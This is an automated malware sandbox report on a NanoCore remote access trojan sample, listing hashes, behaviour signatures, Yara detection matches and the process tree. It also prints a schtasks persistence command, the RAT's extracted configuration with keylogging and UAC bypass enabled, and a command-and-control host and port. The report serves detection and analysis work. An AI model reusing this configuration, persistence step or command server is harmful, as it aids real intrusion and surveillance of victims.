Play interactive tour

Edit tour

Analysis Report A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Overview

General Information

Sample Name:	A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe
Analysis ID:	384465
MD5:	2c59e3c9ac546660688aecd2202c4713
SHA1:	b77627430c292633e0776ac24e9002ee686965e8
SHA256:	a4816d4fecd6d2806d5b105c3aab55f4a1eb5deb3b126f317093a4dc4aab88a1
Tags:	exeNanoCoreRAT
Infos:
Most interesting Screenshot:

Detection

Nanocore

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected Nanocore Rat

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: NanoCore

Sigma detected: Scheduled temp file as task from temp location

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Nanocore RAT

.NET source code contains potential unpacker

Allocates memory in foreign processes

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Uses dynamic DNS services

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Antivirus or Machine Learning detection for unpacked file

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains strange resources

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe (PID: 4824 cmdline: 'C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe' MD5: 2C59E3C9AC546660688AECD2202C4713)

RegAsm.exe (PID: 1316 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe MD5: 529695608EAFBED00ACA9E61EF333A7C)

schtasks.exe (PID: 1848 cmdline: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 1680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegAsm.exe (PID: 1904 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 0 MD5: 529695608EAFBED00ACA9E61EF333A7C)

conhost.exe (PID: 5880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: NanoCore

{"Version": "1.2.2.0", "Mutex": "fc4000c4-f8ec-42dc-a0ad-1edfd754", "Group": "Default", "Domain1": "bnow.duckdns.org", "Domain2": "bnow.duckdns.org", "Port": 4156, "KeyboardLogging": "Enable", "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n  <RegistrationInfo />\r\n  <Triggers />\r\n  <Principals>\r\n    <Principal id=\"Author\">\r\n      <LogonType>InteractiveToken</LogonType>\r\n      <RunLevel>HighestAvailable</RunLevel>\r\n    </Principal>\r\n  </Principals>\r\n  <Settings>\r\n    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n    <AllowHardTerminate>true</AllowHardTerminate>\r\n    <StartWhenAvailable>false</StartWhenAvailable>\r\n    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n    <IdleSettings>\r\n      <StopOnIdleEnd>false</StopOnIdleEnd>\r\n      <RestartOnIdle>false</RestartOnIdle>\r\n    </IdleSettings>\r\n    <AllowStartOnDemand>true</AllowStartOnDemand>\r\n    <Enabled>true</Enabled>\r\n    <Hidden>false</Hidden>\r\n    <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n    <WakeToRun>false</WakeToRun>\r\n    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n    <Priority>4</Priority>\r\n  </Settings>\r\n  <Actions Context=\"Author\">\r\n    <Exec>\r\n      <Command>\"#EXECUTABLEPATH\"</Command>\r\n      <Arguments>$(Arg0)</Arguments>\r\n    </Exec>\r\n  </Actions>\r\n</Task"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf1d5:$x1: NanoCore.ClientPluginHost 0xf212:$x2: IClientNetworkHost 0x12d45:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xef3d:$a: NanoCore 0xef4d:$a: NanoCore 0xf181:$a: NanoCore 0xf195:$a: NanoCore 0xf1d5:$a: NanoCore 0xef9c:$b: ClientPlugin 0xf19e:$b: ClientPlugin 0xf1de:$b: ClientPlugin 0xf0c3:$c: ProjectData 0xfaca:$d: DESCrypto 0x17496:$e: KeepAlive 0x15484:$g: LogClientMessage 0x1167f:$i: get_Connected 0xfe00:$j: #=q 0xfe30:$j: #=q 0xfe4c:$j: #=q 0xfe7c:$j: #=q 0xfe98:$j: #=q 0xfeb4:$j: #=q 0xfee4:$j: #=q 0xff00:$j: #=q
00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf2f5:$x1: NanoCore.ClientPluginHost 0xf332:$x2: IClientNetworkHost 0x12e65:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf05d:$a: NanoCore 0xf06d:$a: NanoCore 0xf2a1:$a: NanoCore 0xf2b5:$a: NanoCore 0xf2f5:$a: NanoCore 0xf0bc:$b: ClientPlugin 0xf2be:$b: ClientPlugin 0xf2fe:$b: ClientPlugin 0xf1e3:$c: ProjectData 0xfbea:$d: DESCrypto 0x175b6:$e: KeepAlive 0x155a4:$g: LogClientMessage 0x1179f:$i: get_Connected 0xff20:$j: #=q 0xff50:$j: #=q 0xff6c:$j: #=q 0xff9c:$j: #=q 0xffb8:$j: #=q 0xffd4:$j: #=q 0x10004:$j: #=q 0x10020:$j: #=q
00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf1d5:$x1: NanoCore.ClientPluginHost 0x41ddd:$x1: NanoCore.ClientPluginHost 0xf212:$x2: IClientNetworkHost 0x41e1a:$x2: IClientNetworkHost 0x12d45:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x4594d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xef3d:$a: NanoCore 0xef4d:$a: NanoCore 0xf181:$a: NanoCore 0xf195:$a: NanoCore 0xf1d5:$a: NanoCore 0x41b45:$a: NanoCore 0x41b55:$a: NanoCore 0x41d89:$a: NanoCore 0x41d9d:$a: NanoCore 0x41ddd:$a: NanoCore 0xef9c:$b: ClientPlugin 0xf19e:$b: ClientPlugin 0xf1de:$b: ClientPlugin 0x41ba4:$b: ClientPlugin 0x41da6:$b: ClientPlugin 0x41de6:$b: ClientPlugin 0xf0c3:$c: ProjectData 0x41ccb:$c: ProjectData 0xfaca:$d: DESCrypto 0x426d2:$d: DESCrypto 0x17496:$e: KeepAlive
00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfddd:$x1: NanoCore.ClientPluginHost 0xfe1a:$x2: IClientNetworkHost 0x1394d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfb45:$a: NanoCore 0xfb55:$a: NanoCore 0xfd89:$a: NanoCore 0xfd9d:$a: NanoCore 0xfddd:$a: NanoCore 0xfba4:$b: ClientPlugin 0xfda6:$b: ClientPlugin 0xfde6:$b: ClientPlugin 0xfccb:$c: ProjectData 0x106d2:$d: DESCrypto 0x1809e:$e: KeepAlive 0x1608c:$g: LogClientMessage 0x12287:$i: get_Connected 0x10a08:$j: #=q 0x10a38:$j: #=q 0x10a54:$j: #=q 0x10a84:$j: #=q 0x10aa0:$j: #=q 0x10abc:$j: #=q 0x10aec:$j: #=q 0x10b08:$j: #=q
00000000.00000003.657091482.0000000004377000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.686611138.0000000004311000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf6ed:$x1: NanoCore.ClientPluginHost 0x422f5:$x1: NanoCore.ClientPluginHost 0xf72a:$x2: IClientNetworkHost 0x42332:$x2: IClientNetworkHost 0x1325d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x45e65:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf455:$a: NanoCore 0xf465:$a: NanoCore 0xf699:$a: NanoCore 0xf6ad:$a: NanoCore 0xf6ed:$a: NanoCore 0x4205d:$a: NanoCore 0x4206d:$a: NanoCore 0x422a1:$a: NanoCore 0x422b5:$a: NanoCore 0x422f5:$a: NanoCore 0xf4b4:$b: ClientPlugin 0xf6b6:$b: ClientPlugin 0xf6f6:$b: ClientPlugin 0x420bc:$b: ClientPlugin 0x422be:$b: ClientPlugin 0x422fe:$b: ClientPlugin 0xf5db:$c: ProjectData 0x421e3:$c: ProjectData 0xffe2:$d: DESCrypto 0x42bea:$d: DESCrypto 0x179ae:$e: KeepAlive
00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x11fa5:$x1: NanoCore.ClientPluginHost 0x11fe2:$x2: IClientNetworkHost 0x15b15:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x11d0d:$a: NanoCore 0x11d1d:$a: NanoCore 0x11f51:$a: NanoCore 0x11f65:$a: NanoCore 0x11fa5:$a: NanoCore 0x11d6c:$b: ClientPlugin 0x11f6e:$b: ClientPlugin 0x11fae:$b: ClientPlugin 0x11e93:$c: ProjectData 0x1289a:$d: DESCrypto 0x1a266:$e: KeepAlive 0x18254:$g: LogClientMessage 0x1444f:$i: get_Connected 0x12bd0:$j: #=q 0x12c00:$j: #=q 0x12c1c:$j: #=q 0x12c4c:$j: #=q 0x12c68:$j: #=q 0x12c84:$j: #=q 0x12cb4:$j: #=q 0x12cd0:$j: #=q
00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf20d:$x1: NanoCore.ClientPluginHost 0xf24a:$x2: IClientNetworkHost 0x12d7d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xef75:$a: NanoCore 0xef85:$a: NanoCore 0xf1b9:$a: NanoCore 0xf1cd:$a: NanoCore 0xf20d:$a: NanoCore 0xefd4:$b: ClientPlugin 0xf1d6:$b: ClientPlugin 0xf216:$b: ClientPlugin 0xf0fb:$c: ProjectData 0xfb02:$d: DESCrypto 0x174ce:$e: KeepAlive 0x154bc:$g: LogClientMessage 0x116b7:$i: get_Connected 0xfe38:$j: #=q 0xfe68:$j: #=q 0xfe84:$j: #=q 0xfeb4:$j: #=q 0xfed0:$j: #=q 0xfeec:$j: #=q 0xff1c:$j: #=q 0xff38:$j: #=q
00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x10055:$x1: NanoCore.ClientPluginHost 0x10092:$x2: IClientNetworkHost 0x13bc5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfdbd:$a: NanoCore 0xfdcd:$a: NanoCore 0x10001:$a: NanoCore 0x10015:$a: NanoCore 0x10055:$a: NanoCore 0xfe1c:$b: ClientPlugin 0x1001e:$b: ClientPlugin 0x1005e:$b: ClientPlugin 0xff43:$c: ProjectData 0x1094a:$d: DESCrypto 0x18316:$e: KeepAlive 0x16304:$g: LogClientMessage 0x124ff:$i: get_Connected 0x10c80:$j: #=q 0x10cb0:$j: #=q 0x10ccc:$j: #=q 0x10cfc:$j: #=q 0x10d18:$j: #=q 0x10d34:$j: #=q 0x10d64:$j: #=q 0x10d80:$j: #=q
00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x3a5d:$a: NanoCore 0x3ab6:$a: NanoCore 0x3af3:$a: NanoCore 0x3b6c:$a: NanoCore 0x17217:$a: NanoCore 0x1722c:$a: NanoCore 0x17261:$a: NanoCore 0x30203:$a: NanoCore 0x30218:$a: NanoCore 0x3024d:$a: NanoCore 0x3abf:$b: ClientPlugin 0x3afc:$b: ClientPlugin 0x43fa:$b: ClientPlugin 0x4407:$b: ClientPlugin 0x16fd3:$b: ClientPlugin 0x16fee:$b: ClientPlugin 0x1701e:$b: ClientPlugin 0x17235:$b: ClientPlugin 0x1726a:$b: ClientPlugin 0x2ffbf:$b: ClientPlugin 0x2ffda:$b: ClientPlugin
00000001.00000002.922413019.0000000005EA0000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
00000001.00000002.922413019.0000000005EA0000.00000004.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf1d5:$x1: NanoCore.ClientPluginHost 0xf212:$x2: IClientNetworkHost 0x12d45:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xef3d:$a: NanoCore 0xef4d:$a: NanoCore 0xf181:$a: NanoCore 0xf195:$a: NanoCore 0xf1d5:$a: NanoCore 0xef9c:$b: ClientPlugin 0xf19e:$b: ClientPlugin 0xf1de:$b: ClientPlugin 0xf0c3:$c: ProjectData 0xfaca:$d: DESCrypto 0x17496:$e: KeepAlive 0x15484:$g: LogClientMessage 0x1167f:$i: get_Connected 0xfe00:$j: #=q 0xfe30:$j: #=q 0xfe4c:$j: #=q 0xfe7c:$j: #=q 0xfe98:$j: #=q 0xfeb4:$j: #=q 0xfee4:$j: #=q 0xff00:$j: #=q
Process Memory Space: RegAsm.exe PID: 1316	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1548ad:$x1: NanoCore.ClientPluginHost 0x1e44d2:$x1: NanoCore.ClientPluginHost 0x30e6de:$x1: NanoCore.ClientPluginHost 0x31429d:$x1: NanoCore.ClientPluginHost 0x325645:$x1: NanoCore.ClientPluginHost 0x344c75:$x1: NanoCore.ClientPluginHost 0x3c1be1:$x1: NanoCore.ClientPluginHost 0x1548f2:$x2: IClientNetworkHost 0x1e44f8:$x2: IClientNetworkHost 0x30e704:$x2: IClientNetworkHost 0x3142e2:$x2: IClientNetworkHost 0x32568a:$x2: IClientNetworkHost 0x344cd6:$x2: IClientNetworkHost 0x3c1c07:$x2: IClientNetworkHost 0x34a0db:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x35804d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: RegAsm.exe PID: 1316	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: RegAsm.exe PID: 1316	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x5985a:$a: NanoCore 0x154827:$a: NanoCore 0x154854:$a: NanoCore 0x1548ad:$a: NanoCore 0x15c0bc:$a: NanoCore 0x15c0cf:$a: NanoCore 0x15c101:$a: NanoCore 0x1e43c4:$a: NanoCore 0x1e4465:$a: NanoCore 0x1e44d2:$a: NanoCore 0x1e4593:$a: NanoCore 0x1e5464:$a: NanoCore 0x1e54b7:$a: NanoCore 0x1e54f0:$a: NanoCore 0x1e5563:$a: NanoCore 0x2cfc55:$a: NanoCore 0x2cfc75:$a: NanoCore 0x2d0037:$a: NanoCore 0x30e5d0:$a: NanoCore 0x30e671:$a: NanoCore 0x30e6de:$a: NanoCore
Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x72fe:$x1: NanoCore.ClientPluginHost 0x260fc:$x1: NanoCore.ClientPluginHost 0x11caa4:$x1: NanoCore.ClientPluginHost 0x13b3f8:$x1: NanoCore.ClientPluginHost 0x28b318:$x1: NanoCore.ClientPluginHost 0x2cbf90:$x1: NanoCore.ClientPluginHost 0x2ea8e4:$x1: NanoCore.ClientPluginHost 0x331bec:$x1: NanoCore.ClientPluginHost 0x500258:$x1: NanoCore.ClientPluginHost 0x72d065:$x1: NanoCore.ClientPluginHost 0x735f:$x2: IClientNetworkHost 0x2615d:$x2: IClientNetworkHost 0x11cb05:$x2: IClientNetworkHost 0x13b459:$x2: IClientNetworkHost 0x28b379:$x2: IClientNetworkHost 0x2cbff1:$x2: IClientNetworkHost 0x2ea945:$x2: IClientNetworkHost 0x331c4d:$x2: IClientNetworkHost 0x5002b9:$x2: IClientNetworkHost 0x72d0c6:$x2: IClientNetworkHost 0xc764:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x6e03:$a: NanoCore 0x6e1f:$a: NanoCore 0x6f7a:$a: NanoCore 0x6f89:$a: NanoCore 0x7262:$a: NanoCore 0x728e:$a: NanoCore 0x72fe:$a: NanoCore 0x16d40:$a: NanoCore 0x16d52:$a: NanoCore 0x16d8e:$a: NanoCore 0x25c01:$a: NanoCore 0x25c1d:$a: NanoCore 0x25d78:$a: NanoCore 0x25d87:$a: NanoCore 0x26060:$a: NanoCore 0x2608c:$a: NanoCore 0x260fc:$a: NanoCore 0x35b3e:$a: NanoCore 0x35b50:$a: NanoCore 0x35b8c:$a: NanoCore 0x11c5a9:$a: NanoCore
Click to see the 43 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.RegAsm.exe.5ea0000.7.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
1.2.RegAsm.exe.5ea0000.7.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
